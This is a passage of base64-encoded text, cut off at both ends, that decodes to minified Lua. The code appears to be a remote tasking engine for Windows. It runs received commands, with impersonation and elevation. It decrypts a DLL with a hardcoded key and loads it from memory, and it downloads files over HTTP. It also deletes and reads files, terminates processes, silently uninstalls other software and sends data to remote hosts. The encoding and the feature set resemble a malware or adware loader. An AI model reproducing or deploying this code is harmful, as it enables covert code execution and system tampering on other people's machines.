bz1PcGVuU0NNYW5hZ2VyKCk7CmxvY2FsIGU7CmlmIGE9PW5pbCB0aGVuIGE9NDtlbmQKaWYgbz4w
IHRoZW4KbG9jYWwgbz1PcGVuU2VydmljZShvLGkpOwppZiBvPjAgdGhlbgpsb2NhbCBkLGgscyxp
LG4scj1RdWVyeVNlcnZpY2VDb25maWcobyk7CmlmIG5vdCBkIHRoZW4KZT17aCxzLGksbixyfTsK
dC5kZWJ1ZygiUXVlcnlTZXJ2aWNlOiAiLi5lW2FdKTsKZW5kCkNsb3NlU2VydmljZUhhbmRsZShv
KTsKZW5kCmVuZAppZiB0eXBlKGUpPT0idGFibGUidGhlbgppZiBlW2FddGhlbgpyZXR1cm4gZVth
XTsKZW5kCmVuZApyZXR1cm4gbmlsOwplbmQKZnVuY3Rpb24gdC5jdXN0b21zKGEpCmxvY2FsIHM9
dHJ1ZTsKUFJPR1JBTV9GSUxFUz0oUmVnUXVlcnlWYWx1ZUV4KWFuZCBSZWdRdWVyeVZhbHVlRXgo
dzMyWyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSwiU29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xc
Q3VycmVudFZlcnNpb24iLCJQcm9ncmFtRmlsZXNEaXIiKW9yIiI7CnNUbXBQYXRoPXQudGVtcHBh
dGgoKTsKbG9jYWwgZT1zdHJpbmcuZ3N1YihhLCJcXCIsIlxcXFwiKTsKbG9jYWwgbz0wOwp3aGls
ZSBzPT10cnVlIGFuZCBvPDUwIGRvCm89bysxOwppZiBzdHJpbmcuZmluZChhLCIkUFJPR1JBTUZJ
TEVTIil0aGVuCmU9c3RyaW5nLmdzdWIoZSwiJSRQUk9HUkFNRklMRVMiLCIlJXMiKTsKZT1zdHJp
bmcuZm9ybWF0KGUsUFJPR1JBTV9GSUxFUzpnc3ViKCJcXCIsIlxcXFwiKSk7CmVsc2VpZiBzdHJp
bmcuZmluZChhLCIkVEVNUEZJTEVTIil0aGVuCmU9c3RyaW5nLmdzdWIoZSwiJSRURU1QRklMRVMi
LCIlJXMiKTsKZT1zdHJpbmcuZm9ybWF0KGUsc1RtcFBhdGg6Z3N1YigiXFwiLCJcXFxcIikpOwpl
PWU6Z3N1YigiXFxcXFxcIiwiXFwiKTsKZWxzZWlmIHN0cmluZy5maW5kKGEsIiRTSUQiKXRoZW4K
bG9jYWwgdD1HZXRDdXJyZW50VXNlclNpZCgpOwplPXN0cmluZy5nc3ViKGUsIiUkU0lEIiwiJSVz
Iik7CmU9c3RyaW5nLmZvcm1hdChlLHQpOwplbHNlaWYgc3RyaW5nLmZpbmQoYSwiJFRJTUVMQVNU
Iil0aGVuCmlmIEdldFRpbWVMYXN0fj1uaWwgdGhlbgpsb2NhbCB0PUdldFRpbWVMYXN0KCk7CmU9
c3RyaW5nLmdzdWIoZSwiJSRUSU1FTEFTVCIsIiUlcyIpOwplPXN0cmluZy5mb3JtYXQoZSx0KTsK
ZW5kCmVsc2VpZiBzdHJpbmcuZmluZChhLCIkQ01EIil0aGVuCmxvY2FsIGE9c3RyaW5nLm1hdGNo
KGEsIkNNRCglZCspIik7CmlmIGF+PW5pbCB0aGVuCmxvY2FsIG49IiI7CmlmIHN0cmluZy5maW5k
KGEsIjoiKXRoZW4KbG9jYWwgYT10LnNwbGl0KGEsIjoiKTsKaWYgYVsxXX49bmlsIHRoZW4KbG9j
YWwgZT10LnNwbGl0KGlbYVsxXV0sIiAiKTsKbG9jYWwgbyxpPXN0cmluZy5maW5kKGFbMl0sIisi
KTsKaWYgbyB0aGVuCmFbMl09c3RyaW5nLmdzdWIoYVsyXSwiKyIsIiIpOwppZiB0eXBlKGUpPT0i
dGFibGUidGhlbgpmb3Igbz10YWJsZS5nZXRuKGUpLDEsLTEgZG8KaWYgbzx0b251bWJlcihhWzJd
KXRoZW4KdGFibGUucmVtb3ZlKGUsbyk7CmVsc2UKaWYgc3RyaW5nLmZpbmQoZVtvXSwiPSIpdGhl
bgpsb2NhbCB0PXQuc3BsaXQoZVtvXSwiPSIpOwplW29dPXN0cmluZy5mb3JtYXQoJyVzPSIlcyIn
LHRbMV0sdFsyXSk7CmVuZAplbmQKZW5kCm49dGFibGUuY29uY2F0KGUsIiAiKTsKZW5kCmVsc2UK
bj1lW3RvbnVtYmVyKGFbMl0pXTsKZW5kCmVuZAplbHNlCm49KGlbdG9udW1iZXIoYSldKWFuZCBp
W3RvbnVtYmVyKGEpXW9yIGlbYV07CmVuZAphPXN0cmluZy5nc3ViKGEsIisiLCIlJSsiKTsKZT1z
dHJpbmcuZ3N1YihlLCIlJENNRCIuLmEsIiUlcyIpOwplPXN0cmluZy5mb3JtYXQoZSxuKTsKZW5k
CmVsc2VpZiBzdHJpbmcuZmluZChhLCIkU09VUkNFR1VJRCIpdGhlbgpsb2NhbCB0PUNoZWNrQXJn
KCJzb3VyY2UiKTsKZT1zdHJpbmcuZ3N1YihlLCIlJFNPVVJDRUdVSUQiLHQpOwplbHNlaWYgc3Ry
aW5nLmZpbmQoYSwiJFVTRVJHVUlEIil0aGVuCmxvY2FsIHQ9R2V0VXNlckd1aWQoKTsKc1VzZXJH
dWlkPXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDksMTIp
LHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKc1VzZXJHdWlkPXN0cmluZy51
cHBlcihzVXNlckd1aWQpOwplPXN0cmluZy5nc3ViKGUsIiUkVVNFUkdVSUQiLHNVc2VyR3VpZCk7
CmVsc2VpZiBzdHJpbmcuZmluZChhLCIkVkVSU0lPTiIpdGhlbgppZiBHZXRWZXJzaW9ufj1uaWwg
dGhlbgpsb2NhbCB0PXRvc3RyaW5nKEdldFZlcnNpb24oKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRW
RVJTSU9OIiwiJSVzIik7CmU9c3RyaW5nLmZvcm1hdChlLHQpOwplbmQKZWxzZWlmIHN0cmluZy5m
aW5kKGEsIiRPUFRJT05TIil0aGVuCmxvY2FsIG89KENoZWNrQXJnKWFuZCBDaGVja0FyZygib3B0
aW9ucyIpb3IiIjsKbG9jYWwgYT1zdHJpbmcubWF0Y2goYSwiT1BUSU9OUyglZCspIik7CmlmIGF+
PW5pbCB0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRWxlbWVudDogJXMiLGEpKTsKZT1zdHJp
bmcuZ3N1YihlLCIlJE9QVElPTlMiLi5hLCIlJXMiKTsKZT1zdHJpbmcuZm9ybWF0KGUsbzpzdWIo
YSxhKSk7CmVsc2UKZT1zdHJpbmcuZ3N1YihlLCIlJE9QVElPTlMiLCIlJXMiKTsKZT1zdHJpbmcu
Zm9ybWF0KGUsbyk7CmVuZAplbHNlaWYgc3RyaW5nLmZpbmQoYSwiJFBST0RVQ1QiKXRoZW4KbG9j
YWwgdD0oQ2hlY2tBcmcpYW5kIENoZWNrQXJnKCJvcHRpb25zIilvciIiOwpsb2NhbCB0PXN0cmlu
Zy5mb3JtYXQoIiVzIix0OnN1Yig4LDEwKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRQUk9EVUNUIix0
KTsKZWxzZWlmIHN0cmluZy5maW5kKGEsIiRJczY0Qml0Iil0aGVuCmxvY2FsIGE9KElzNjRCaXQo
KT09dHJ1ZSlhbmQiNjQib3IiMzIiOwp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIklzNjRCaXQ6ICVz
IixhKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRJczY0Qml0IixhKTsKdC5kZWJ1ZyhlKTsKZWxzZWlm
IHN0cmluZy5maW5kKGEsIiRSQU5EIil0aGVuCmxvY2FsIGE9c3RyaW5nLm1hdGNoKGEsIlJBTkQo
LispIik7Cm1hdGgucmFuZG9tc2VlZChvcy50aW1lKCkpOwplPXRvc3RyaW5nKG1hdGgucmFuZG9t
KDEsMTAwKSk7CmlmIGF+PW5pbCB0aGVuCmlmIHN0cmluZy5maW5kKGEsIiwiKXRoZW4KbG9jYWwg
dD10LnNwbGl0KGEsIiwiKTsKaWYgdFsxXX49bmlsIHRoZW4KaWYgdG9udW1iZXIodFsxXSk+dG9u
dW1iZXIodFsyXSl0aGVuCnRbMV09MQplbmQKZT10b3N0cmluZyhtYXRoLnJhbmRvbSh0b251bWJl
cih0WzFdKSx0b251bWJlcih0WzJdKSkpOwplbmQKZW5kCmVuZAp0LmRlYnVnKHN0cmluZy5mb3Jt
YXQoIlJhbmRvbTogJXMiLGUpKTsKZWxzZQpzPWZhbHNlOwplbmQKYT1lOwplbmQKZT0odHJpbSlh
bmQgdHJpbShlKW9yIHQudHJpbShlKTsKcmV0dXJuIGU7CmVuZApmdW5jdGlvbiB0LmNvbW1hbmQo
ZSkKbG9jYWwgbz1mYWxzZTsKaWYgZVsidHh0Y21kIl09PSJJZiJ0aGVuCmxvY2FsIGE9dC5jdXN0
b21zKGVbInR4dFdoYXQiXSk7CmlmIGVbInR4dGRvIl09PSJGaWxlInRoZW4KZHdSZXN1bHQsdEZp
bGVJbmZvPUZpbmRGaXJzdEZpbGUoYSk7CmlmIGR3UmVzdWx0fj0wIHRoZW4KZVsicmVzdWx0Il09
KGVbInR4dFdoYXRJZiJdPT0iRXhpc3RzIilhbmQiMSJvciIwIjsKZWxzZQplWyJyZXN1bHQiXT0o
ZVsidHh0V2hhdElmIl09PSJOb3QgRXhpc3RzIilhbmQiMSJvciIwIjsKZW5kCmlmIGR3UmVzdWx0
PjAgdGhlbgpGaW5kQ2xvc2UoZHdSZXN1bHQpOwplbmQKZWxzZWlmIGVbInR4dGRvIl09PSJSZWdp
c3RyeSJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiUmVnaXN0cnk6ICVzIixhKSk7CmxvY2Fs
IG89dC5zcGxpdChhLCIsIik7CmlmIHczMltvWzFdXX49bmlsIHRoZW4KaWYgb1szXX49bmlsIHRo
ZW4KbG9jYWwgYT1SZWdRdWVyeVZhbHVlRXgodzMyW29bMV1dLG9bMl0sb1szXSk7CmE9KGF+PW5p
bClhbmQgdC5jdXN0b21zKGEpb3IgbmlsOwppZiBlWyJ0eHRXaGF0SWYiXT09IkVxdWFscyJhbmQg
b1s1XX49bmlsIGFuZCBhfj1uaWwgdGhlbgppZiBhPT1vWzVddGhlbgplWyJyZXN1bHQiXT0iMSI7
CmVuZAplbHNlaWYgZVsidHh0V2hhdElmIl09PSJFeGlzdHMiYW5kIGF+PW5pbCB0aGVuCmVbInJl
c3VsdCJdPSIxIjsKZWxzZWlmIGVbInR4dFdoYXRJZiJdPT0iTm90IEV4aXN0cyJhbmQgYT09bmls
IHRoZW4KZVsicmVzdWx0Il09IjEiOwplbmQKZW5kCmVsc2UKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0
KCJSZWdpc3RyeSBFcnJvciAlcyAlcyIsZVsidHh0V2hhdElmIl0sYSkpOwplbmQKZWxzZWlmIGVb
InR4dGRvIl09PSJDb21tYW5kInRoZW4KbG9jYWwgYT10LnNwbGl0KGEsIiwiKTsKaWYgYVsyXX49
bmlsIHRoZW4KbG9jYWwgbz0oaVt0b251bWJlcihhWzFdKV0pYW5kIGlbdG9udW1iZXIoYVsxXSld
b3IgaVthWzFdXTsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJDb21tYW5kICMlczogJXMgJXMgJXMi
LGFbMV0sbyxlWyJ0eHRXaGF0SWYiXSxhWzJdKSk7CmlmIGVbInR4dFdoYXRJZiJdPT0iQ29udGFp
bnMidGhlbgppZiBzdHJpbmcuZmluZChzdHJpbmcudXBwZXIobyksc3RyaW5nLnVwcGVyKGFbMl0p
KXRoZW4KZVsicmVzdWx0Il09IjEiOwplbHNlCmVbInJlc3VsdCJdPSIwIjsKZW5kCmVsc2UKaWYg
bz09YVsyXXRoZW4KZVsicmVzdWx0Il09KGVbInR4dFdoYXRJZiJdPT0iRXF1YWxzIilhbmQiMSJv
ciIwIjsKZWxzZQplWyJyZXN1bHQiXT0oZVsidHh0V2hhdElmIl09PSJOb3QgRXF1YWxzIilhbmQi
MSJvciIwIjsKZW5kCmVuZAplbHNlCmVbInJlc3VsdCJdPSIwIjsKZW5kCmVsc2VpZiBlWyJ0eHRk
byJdPT0iVmFyaWFibGUidGhlbgpsb2NhbCBhPXQuc3BsaXQoYSwiLCIpOwplWyJyZXN1bHQiXT0i
MCI7CmlmIGFbMl1+PW5pbCB0aGVuCnNTRz0oQ2hlY2tBcmcpYW5kIENoZWNrQXJnKCJzb3VyY2Ui
KW9yIiI7CmlmIGFbMV09PSJVc2VyIEdVSUQidGhlbgpzU0c9R2V0VXNlckd1aWQoKTsKc1NHPXN0
cmluZy51cHBlcihzdHJpbmcuZm9ybWF0KCIlcy0lcy0lcy0lcy0lcyIsc1NHOnN1YigxLDgpLHNT
RzpzdWIoOSwxMiksc1NHOnN1YigxMywxNiksc1NHOnN1YigxNywyMCksc1NHOnN1YigyMSkpKTsK
ZWxzZWlmIGFbMV09PSJWZXJzaW9uInRoZW4KaWYgR2V0VmVyc2lvbn49bmlsIHRoZW4Kc1NHPXRv
c3RyaW5nKEdldFZlcnNpb24oKSk7CmVuZAplbHNlaWYgYVsxXT09IklzNjRCaXQidGhlbgppZiBJ
czY0Qml0fj1uaWwgdGhlbgpzU0c9dG9zdHJpbmcoSXM2NEJpdCgpKTsKZW5kCmVsc2VpZiBzdHJp
bmcuZmluZChhWzFdLCJPcHRpb25zIil0aGVuCnNTRz10LmN1c3RvbXMoIiQiLi5zdHJpbmcudXBw
ZXIoYVsxXSkpOwplbmQKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJWYXJpYWJsZSAlcyAoJXMpID0g
JXMiLGFbMV0sc1NHLGFbMl0pKTsKaWYgZVsidHh0V2hhdElmIl09PSJDb250YWlucyJ0aGVuCmlm
IHN0cmluZy5maW5kKHNTRyxhWzJdKXRoZW4KZVsicmVzdWx0Il09IjEiOwplbmQKZWxzZQppZiBz
U0c9PWFbMl10aGVuCmVbInJlc3VsdCJdPShlWyJ0eHRXaGF0SWYiXT09IkVxdWFscyIpYW5kIjEi
b3IiMCI7CmVsc2UKZVsicmVzdWx0Il09KGVbInR4dFdoYXRJZiJdPT0iTm90IEVxdWFscyIpYW5k
IjEib3IiMCI7CmVuZAplbmQKZW5kCmVsc2VpZiBlWyJ0eHRkbyJdPT0iUHJvY2VzcyJ0aGVuCmlm
IElzUHJvY2Vzc1J1bm5pbmcoYSxmYWxzZSl0aGVuCmVbInJlc3VsdCJdPSIxIjsKZWxzZQplWyJy
ZXN1bHQiXT0iMCI7CmVuZAplbHNlaWYgZVsidHh0ZG8iXT09Ikluc3RhbGxlZCJ0aGVuCmxvY2Fs
IHQ9e307CnRbMV09IlNPRlRXQVJFXFxXb3c2NDMyTm9kZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxD
dXJyZW50VmVyc2lvblxcVW5pbnN0YWxsIjsKdFsyXT0iU09GVFdBUkVcXE1pY3Jvc29mdFxcV2lu
ZG93c1xcQ3VycmVudFZlcnNpb25cXFVuaW5zdGFsbCI7CmVbInJlc3VsdCJdPSIwIjsKZVsic3Rh
dHVzIl09IjAiOwpmb3Igbyx0IGluIHBhaXJzKHQpZG8KbG9jYWwgbz1SZWdFbnVtS2V5RXgodzMy
WyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSx0KTsKaWYgdHlwZShvKT09InRhYmxlInRoZW4KZm9yIGks
byBpbiBwYWlycyhvKWRvCmxvY2FsIGk9UmVnRW51bVZhbHVlKHczMlsiSEtFWV9MT0NBTF9NQUNI
SU5FIl0sdC4uIlxcIi4ubyk7CmlmIHR5cGUoaSk9PSJ0YWJsZSJ0aGVuCmZvciBuLGkgaW4gcGFp
cnMoaSlkbwppZiBpPT0iRGlzcGxheU5hbWUidGhlbgpsb2NhbCB0PVJlZ1F1ZXJ5VmFsdWVFeCh3
MzJbIkhLRVlfTE9DQUxfTUFDSElORSJdLHQuLiJcXCIuLm8saSk7CnQ9c3RyaW5nLmxvd2VyKHQ6
Z3N1YigiICIsIiIpKTsKYT1zdHJpbmcubG93ZXIoYTpnc3ViKCIgIiwiIikpOwppZiBzdHJpbmcu
ZmluZCh0LGEpdGhlbgplWyJyZXN1bHQiXT0iMSI7CmVbInN0YXR1cyJdPSIxIjsKYnJlYWs7CmVu
ZAplbmQKZW5kCmVuZAplbmQKZW5kCmVuZAplbmQKbz10cnVlOwppZiBlWyJyZXN1bHQiXT09IjEi
dGhlbgppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iU3RvcCJ0aGVuCnQuZGVidWcoIlRoZW4gU2F0aXNm
aWVkLCBTdG9wcGluZyIpOwplWyJzdGF0dXMiXT0iMCI7Cm89ZmFsc2U7CmVsc2VpZiBlWyJ0eHRX
aGF0VGhlbiJdPT0iR290byJ0aGVuCnQuZGVidWcoIlRoZW4gU2F0aXNmaWVkLCBHb2luZyB0byAi
KTsKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJDb250aW51ZSJ0aGVuCnQuZGVidWcoIlRoZW4g
U2F0aXNmaWVkLCBDb250aW51aW5nIik7CmVuZAplbHNlCmlmIGVbInR4dFdoYXRFbHNlIl09PSJT
dG9wInRoZW4KdC5kZWJ1ZygiRWxzZSBTYXRpc2ZpZWQsIFN0b3BwaW5nIik7CmVbInN0YXR1cyJd
PSIwIjsKbz1mYWxzZTsKZWxzZWlmIGVbInR4dFdoYXRFbHNlIl09PSJHb3RvInRoZW4KZVsic3Rh
dHVzIl09IjEiOwp0LmRlYnVnKCJFbHNlIFNhdGlzZmllZCwgR29pbmcgdG8gIik7CmVsc2VpZiBl
WyJ0eHRXaGF0RWxzZSJdPT0iQ29udGludWUidGhlbgplWyJzdGF0dXMiXT0iMSI7CnQuZGVidWco
IkVsc2UgU2F0aXNmaWVkLCBDb250aW51aW5nIik7CmVuZAplbmQKZW5kCmlmIGVbInR4dGNtZCJd
PT0iRG8idGhlbgpsb2NhbCBhPXQuY3VzdG9tcyhlWyJ0eHRXaGF0Il0pOwppZiBlWyJ0eHRkbyJd
PT0iRXhlY3V0ZSJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRXhlY3V0aW5nOiAlcyB3aXRo
ICVzIixhLGVbInR4dFdoYXRUaGVuIl0pKTsKaWYgZVsidHh0V2hhdFRoZW4iXT09IkxvY2FsIFN5
c3RlbSJ0aGVuCnQuZXhlY3V0ZShhKTsKZWxzZQppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iSW1wZXJz
b25hdGlvbiBhbmQgRWxldmF0aW9uInRoZW4KdC5leGVjdXRlKGEsdHJ1ZSx0cnVlKTsKZWxzZQp0
LmV4ZWN1dGUoYSx0cnVlLGZhbHNlKTsKZW5kCmVuZApvPXRydWU7CmVbInN0YXR1cyJdPSIxIjsK
ZVsiZGF0ZSJdPW9zLnRpbWUoKTsKZVsicmVzdWx0Il09IjEiOwplbHNlaWYgZVsidHh0ZG8iXT09
IkRMTCJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRExMIFNpemU6ICVzIHZpYSAlcyIsc3Ry
aW5nLmxlbihhKSxlWyJ0eHRXaGF0VGhlbiJdKSk7CmlmIGVbInR4dFdoYXRUaGVuIl09PSJNZW1v
cnkidGhlbgphPUVuY3J5cHQoYSwiYzIyZGY3MTQ2YjU0NGI1ZGFjYWNmYWJmMzdiZmQyNjRiZmIw
Zjg5NTNlMTQ0NDZhYmIwYjE5OGRmNDU0YzllYyIpOwpMb2FkRnJvbU1lbW9yeShhKTsKZW5kCm89
dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT0i
MSI7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iRmlsZSJ0aGVuCmlmIGVbInR4dFdoYXRUaGVuIl09PSJE
ZWxldGUidGhlbgppZiBEZWxldGVGaWxlKGEpdGhlbgplWyJyZXN1bHQiXT0iZmlsZSBkZWxldGVk
IjsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHN1Y2Nlc3NmdWxseSIsYSkpOwpl
bmQKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJSZWFkInRoZW4KY29udGVudHM9dC5yZWFkZmls
ZShhKTsKaWYgY29udGVudHMgdGhlbgppZiBlWyJ0eHRXaGF0RWxzZSJdPT0iYXMgUHJvY2Vzc2xp
c3QidGhlbgpsaW5lcz10LnNwbGl0KGNvbnRlbnRzLCJcclxuIik7CmRhdGE9e30KZm9yIG8sYSBp
biBpcGFpcnMobGluZXMpZG8KY3N2PXQuc3BsaXQoYSwiLCIpOwppZiBjc3ZbM110aGVuCmRhdGE9
c3RyaW5nLmZvcm1hdCgneyJuYW1lIjolcywidHlwZSI6JXN9Jyxjc3ZbMV0sY3N2WzNdKTsKZVsi
cmVzdWx0Il09KGVbInJlc3VsdCJdKWFuZCBlWyJyZXN1bHQiXS4uIiwiLi5kYXRhIG9yIGRhdGE7
CmVuZAplbmQKZW5kCmVuZAppZiBub3QgZVsicmVzdWx0Il10aGVuCmVbInJlc3VsdCJdPSJlcnJv
ciByZWFkaW5nIGZpbGUiCmVsc2UKZVsicmVzdWx0Il09IlsiLi5lWyJyZXN1bHQiXS4uIl0iOwpl
bmQKZW5kCm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNl
aWYgZVsidHh0ZG8iXT09IlRlcm1pbmF0ZSJ0aGVuCmlmIElzUHJvY2Vzc1J1bm5pbmcoYSx0cnVl
KXRoZW4KdC5kZWJ1ZygiVGVybWluYXRpbmc6ICIuLmEpOwplWyJyZXN1bHQiXT0iMSI7CmVsc2UK
dC5kZWJ1ZygiRmFpbGVkIHRvIFRlcm1pbmF0ZTogIi4uYSk7CmVbInJlc3VsdCJdPSIwIjsKZW5k
Cm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNlaWYgZVsi
dHh0ZG8iXT09IlVuaW5zdGFsbCJ0aGVuCmxvY2FsIG89e307Cm9bMV09IlNPRlRXQVJFXFxXb3c2
NDMyTm9kZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcVW5pbnN0YWxsIjsK
b1syXT0iU09GVFdBUkVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXFVuaW5z
dGFsbCI7CmVbInJlc3VsdCJdPSIwIjsKZm9yIG8saSBpbiBwYWlycyhvKWRvCmxvY2FsIG89UmVn
RW51bUtleUV4KHczMlsiSEtFWV9MT0NBTF9NQUNISU5FIl0saSk7CmlmIHR5cGUobyk9PSJ0YWJs
ZSJ0aGVuCmZvciBvLG4gaW4gcGFpcnMobylkbwpsb2NhbCBvPVJlZ0VudW1WYWx1ZSh3MzJbIkhL
RVlfTE9DQUxfTUFDSElORSJdLGkuLiJcXCIuLm4pOwppZiB0eXBlKG8pPT0idGFibGUidGhlbgpm
b3IgcyxvIGluIHBhaXJzKG8pZG8KaWYgbz09IkRpc3BsYXlOYW1lInRoZW4KbG9jYWwgbz1SZWdR
dWVyeVZhbHVlRXgodzMyWyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSxpLi4iXFwiLi5uLG8pOwppZiBz
dHJpbmcuZmluZChvLGEpdGhlbgpvPVJlZ1F1ZXJ5VmFsdWVFeCh3MzJbIkhLRVlfTE9DQUxfTUFD
SElORSJdLGkuLiJcXCIuLm4sIlVuaW5zdGFsbFN0cmluZyIpOwppZiBlWyJ0eHRXaGF0VGhlbiJd
fj1uaWwgdGhlbgpsb2NhbCBlPXN0cmluZy5mb3JtYXQoIiVzICVzIix0cmltKG8pLGVbInR4dFdo
YXRUaGVuIl0pOwpvPWU7CmVuZAp0LmRlYnVnKCJVbmluc3RhbGxpbmc6ICIuLm8pOwp0LmV4ZWN1
dGUobyx0cnVlKTsKZVsicmVzdWx0Il09IjEiOwpicmVhazsKZW5kCmVuZAplbmQKZW5kCmVuZApl
bmQKZW5kCmVbInN0YXR1cyJdPSIxIjsKZVsiZGF0ZSJdPW9zLnRpbWUoKTsKZWxzZWlmIGVbInR4
dGRvIl09PSJXYWl0InRoZW4KbG9jYWwgYT10b251bWJlcihhKTsKaWYgYT09bmlsIHRoZW4KYT0x
MDsKZW5kCmVbInR4dFdoYXQiXT1hOwplWyJyZXN1bHQiXT0oZVsicmVzdWx0Il09PW5pbCBvciBl
WyJyZXN1bHQiXT09IiIpYW5kIG9zLnRpbWUoKW9yIGVbInJlc3VsdCJdOwppZiBlWyJ0eHRXaGF0
VGhlbiJdPT0iTWludXRlcyJ0aGVuCmE9YSo2MDsKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJI
b3VycyJ0aGVuCmE9YSozNjAwOwplbHNlaWYgZVsidHh0V2hhdFRoZW4iXT09IkRheXMidGhlbgph
PWEqODY0MDA7CmVsc2UKaWYgYTwzMCB0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiV2FpdGlu
ZzogJXMiLGEpKTsKaWYgU2xlZXAgdGhlbgpTbGVlcCgoYSsxKSoxZTMpOwplbHNlCnQuc2xlZXAo
KGErMSkqMWUzKTsKZW5kCmVuZAplbmQKbG9jYWwgaT1vcy50aW1lKCktdG9udW1iZXIoZVsicmVz
dWx0Il0pOwppZiBpPmEgdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7
Cm89dHJ1ZTsKZWxzZQp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIldhaXRpbmcgJXMgd2l0aCAlcyBy
ZW1haW5pbmciLGEsKGEtaSkpKTsKZW5kCmVsc2VpZiBlWyJ0eHRkbyJdPT0iUGluZyJ0aGVuCmE9
YTpnc3ViKCIgIiwiKyIpOwppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iUE9TVCJ0aGVuCmxvY2FsIGU9
c3RyaW5nLmZpbmQoYSwiPyIpOwppZiBlIHRoZW4KbG9jYWwgbz1hOnN1YihlKzEsI2EpOwphPWE6
c3ViKDEsZS0xKTsKdC5kZWJ1ZygiUGluZ2luZyAiLi5hLi4iIHdpdGg6ICIuLm8pOwpuPXMucmVx
dWVzdChhLG8pOwplbmQKZWxzZQp0LmRlYnVnKCJQaW5naW5nOiAiLi5hKTsKbj1zLnJlcXVlc3Qo
YSk7CmVuZApuPXRyaW0odG9zdHJpbmcobikpOwp0LmRlYnVnKCJQaW5nIHJlc3VsdDogIi4ubik7
Cm89dHJ1ZTsKZVsicmVzdWx0Il09bjsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGlt
ZSgpOwplbHNlaWYgZVsidHh0ZG8iXT09IlNlcnZpY2UidGhlbgpsb2NhbCB0PXQucXVlcnlzZXJ2
aWNlKGEsNCk7CmVbInJlc3VsdCJdPSIiOwppZiB0IHRoZW4KZVsicmVzdWx0Il09dDsKZW5kCm89
dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNlaWYgZVsidHh0
ZG8iXT09IkRlYnVnInRoZW4KdC5kZWJ1ZyhhKTsKbz10cnVlOwplWyJzdGF0dXMiXT0iMCI7CmVb
ImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iRFhEaWFnInRoZW4KbG9jYWwg
YT10LmR4ZGlhZyhhLGVbInR4dFdoYXRUaGVuIl0pOwplWyJyZXN1bHQiXT0iIjsKaWYgYX49bmls
IHRoZW4KaWYgYVtzdHJpbmcubG93ZXIoZVsidHh0V2hhdEVsc2UiXSldfj1uaWwgdGhlbgplWyJy
ZXN1bHQiXT1hW3N0cmluZy5sb3dlcihlWyJ0eHRXaGF0RWxzZSJdKV07CnQuZGVidWcoc3RyaW5n
LmZvcm1hdCgiRFhEaWFnIFJlc3VsdDogJXMiLGVbInJlc3VsdCJdKSk7CmVuZAplbmQKbz10cnVl
OwplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJd
PT0iRG93bmxvYWQidGhlbgpsb2NhbCBpPXQuY3VzdG9tcyhlWyJ0eHRXaGF0VGhlbiJdKTsKaWYg
aX49IiJ0aGVuCmxvY2FsIG49dC5maWxlcGFydHMoaSk7CmlmIG5+PW5pbCB0aGVuCkNyZWF0ZURp
cmVjdG9yeShuKTsKZW5kCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgJXMgdG8gJXMi
LGEsaSkpOwplWyJzdGF0dXMiXT0iMSI7CmlmIHQuZ2V0YnlodHRwKGEsaSl0aGVuCnQuZGVidWco
c3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgc3VjY2Vzc2Z1bCIsYSkpOwpvPXRydWU7CmVb
ImRhdGUiXT1vcy50aW1lKCk7CmVbInJlc3VsdCJdPSIxIjsKZWxzZQplWyJyZXN1bHQiXT0iMCI7
CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgdW5zdWNjZXNzZnVsIixhKSk7
CmVuZAplbHNlCmxvY2FsIGksbj10LmdldGJ5aHR0cChhKTsKaWYgaSB0aGVuCnQuZGVidWcoc3Ry
aW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgdG8gbWVtb3J5IHN1Y2Nlc3NmdWwiLGEpKTsKbz10
